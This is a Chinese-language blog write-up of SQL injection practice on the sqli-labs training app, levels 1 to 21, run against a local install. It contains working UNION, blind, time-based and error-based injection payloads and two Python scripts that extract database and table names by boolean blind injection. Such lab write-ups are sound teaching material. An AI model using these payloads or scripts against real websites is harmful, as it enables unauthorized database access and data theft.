Ea5ter's Bolg

通过sqli-labs学习SQL注入

字数统计: 1.9k阅读时长: 7 min
2018/07/11 Share

写在前面

关于sql注入,之前通过做ctf了解了一些,由于考试准备时间有限并没有深入研究。现在时间充裕了就准备从基础开始从头学习sql注入。

实验环境

这里用的是sqli-labs——是一个印度程序员写的,用来学习sql注入的一个游戏教程。
Sqli-labs获取地址:https://github.com/Audi-1/sqli-labs
下载后解压到你的网站根目录下,在根据提示载入数据库就可以开始游戏啦!

实验开始

在进行每个实验前我们可以在其对应的php文件中的sql语句中加一段代码,用来回显我们构造的sql语句。

1
echo "你的 sql 语句是:".$sql."<br>";

1_less-1 ~ less-22

1.1_less1

先输入参数id=1,有查询结果。输入id=’,有报错回显,说明id参数为注入点。
构造id=’#,用#注释掉掉后面的内容,依然报错。

从回显的sql语句可以看出,’#’消失了。查看源码,发现并未对任何关键字进行过滤。

用url编码’%23’代替’#’。发现’#’出现,且并无报错,说明这样构造是有效的。
使用’order by num’来猜查询的字段数,1、2、3都ok,’order by 4’时报错,说明查询的字段数为3。
再使用’union select 1,2,3’来查询字段的位置。这里会发现一点,当我id给值时,并没有我们想要的回显。

当我们不给值时,就会回显我们联合查询的结果。

我们在mysql里做下实验,比较这两种查询方法;

可以看到当id给的参数在表中查不到时,只会回显我们联合查询的结果。再看看源码中用来在网页上回显的函数。

1
mysql_fetch_array() #这个函数返回的是一个:以查询字段为键值,以各字段对应的值为数组值的关联数组。并且返回的是第一组查询结果。

所以当id有查询结果时就会回显id的查询结果。
接下来就开始逐项爆破了。后面的操作就都是套路,这里也就不再多提。
值得注意的是可以用group_concat()、concat_ws()来连接多项查询结果。

1.2_less2

与less1相比$id没有用单引号括起来,这样就不用写单引号,直接来就完事儿了。

1.3_less3

输入id=1看到我们构造的sql语句是:

1
SELECT * FROM users WHERE id=('1') LIMIT 0,1

用的是(‘’)来闭合id的,因此用’)来闭和我们的语句。
?id=’) union select 1,2,3 %23

1.4_less4

于上面的那个差不多,只是将’换成了”。
?id=”) union select 1,2,3 %23

1.5_less5

当给id=1时有回显,但没有之前的username、password。

所以应该是考个盲注。盲注的话有布尔、延时、报错。
这里利用布尔盲注写了一个简单的爆库名的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = 'http://localhost/sqli/sqli-labs-master/Less-5/index.php'
i = 1
str = ''
flag = 0
while True:
flag = 0
for j in range(65, 122):
params ={'id':"1' and ascii(substr(database(),%d,1))=%d #" %(i,j)}
r = requests.get(url, params = params)
r.encoding = 'utf-8'
if 'You are in...........' in r.text:
flag = 1
print j
str += chr(j)
break
r=''
i+=1
if flag == 0:
break
print str

布尔和延时的思路感觉都差不多,而且都挺麻烦的。但报错的话相对来说就直观点,这里就重点写下报错注入。
报错注入语句:union select count(*),concat(0x3a,0x3a,(你的查询语句),0x3a,0x3a,floor(rand(0)*2)x) from infomation_schema.tables group by x %23
关于原理可以参考这两篇博客:报错型sql注入原理分析SQL报错型盲注教程(原理全剖析)。我这里就简单说下我的理解。
产生报错的根本原因是,由于这条查询语句”select count(*) from xxx group by x”在查询时会产生一个虚拟表。而在统计时,又会有”floor(rand(0)*2)”产生随机值。从而使虚拟表在计算count时,预计计算的和最后进入表中的字段前后不符,最后报错。
回到less1—5上,进行注入实验。
爆库名,语句:

1
union select 1,count(*),concat(0x3a,0x3a,(database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a %23


爆表名,语句:

1
union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a %23


注意这里的limit一定要加上去,不然查询出来的表名就不是唯一,不是唯一我们就不能触发报错。通过limit我们可以控制输出的表名,但由于不知道有多少张表。所以在进行这个查询前,可以先进行一个数量个查询。
查表数,语句:

1
union select 1,count(*),concat(0x3a,0x3a,(select count(table_name) from information_schema.tables where table_schema='security'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a %23

1.6_less6

与上面一关相比,这关使用””闭合的。

1.7_less7

先看下源码,id是用((‘’))闭合的,也没有用row来回显结果。难道又是报错注入?但用之前的方法并未得到报错结果。对比之前的源码发现”print_r(mysql_error());”这行代码被注释掉了

没有回显的话可以当作盲注处理,根据提示Dump into outfile使用into outfile写到根目录下就可以看到users表的信息了。
不过这需要有读写文件的权限,而且还要知道绝对路径,所以就当布尔盲注来做了。

1.8_less8

一个典型的盲注,遇到这种问题手注的话比较麻烦,用sqlmap应该就ok了。在这写了一个爆表名的脚本当练练手:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = 'http://localhost/sqli/sqli-labs-master/Less-8/index.php'
i = 1
str = ''
flag = 0
passwoed='zxcvbnmasdfghjklqwerttyuiopZXCVBNMASDFGHJKLQWERTYUIOP1234567890'
for k in range(0,4):
while True:
flag = 0
for j in passwoed:
params ={'id':"1' and substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)='%c' #" %(k,i,j)}
r = requests.get(url, params = params)
if 'You are in...........' in r.text:
flag = 1
print j
str += j
break
r=''
i+=1
if flag == 0:
print str
str = ''
i = 1
break

结果如下:

1.9_less9

输入id=1的结果和id=0的结果分别如下:


看得出id的查询结果正确与否都不会对输出结果产生影响。所以只能使用盲注。
注入语句:if(conditin,A,B),如果conditin为真,则执行A,反之执行B。
使用语句:

1
if(ascii(substr(database(),1,1))>120,0,sleep(10))

如果库名的第一个字的ascii值大于120则延时10喵,否则不延时。
同样手注的话要累死个人,用自动化的脚本要好点。

1.10_less10

同上变双引号。

1.11_less11

类似于less1只不过用post传值

1.12_less12~less21

这里的关卡就和前面的大同小异了,想说下的就是其他的报错函数。
之前我用的报错语法句是:

1
union select 1,count(*),concat(0x3a,0x3a,(database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a %23

仔细想想这里的限制因素还挺多的,要用联合查询,而且字段数必须得>=2。所以在这里再记两个报错语句。
第一个是上面的变种:

1
select 1 from(select count(*),concat(0x3a,0x3a,查询语句,0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a)b

第二个是updatexml报错函数:

1
Updatexml(1,concat(0x3a,查询语句,0x3a),1)

这个就比较灵活了,但这个函数的输出长度是有限制的,最大32位。
有道ctf题可以当作这个函数比较好的应用:bugku-报错注入

CATALOG
  1. 1. 写在前面
  2. 2. 实验环境
  3. 3. 实验开始
    1. 3.1. 1_less-1 ~ less-22
      1. 3.1.1. 1.1_less1
      2. 3.1.2. 1.2_less2
      3. 3.1.3. 1.3_less3
      4. 3.1.4. 1.4_less4
      5. 3.1.5. 1.5_less5
      6. 3.1.6. 1.6_less6
      7. 3.1.7. 1.7_less7
      8. 3.1.8. 1.8_less8
      9. 3.1.9. 1.9_less9
      10. 3.1.10. 1.10_less10
      11. 3.1.11. 1.11_less11
      12. 3.1.12. 1.12_less12~less21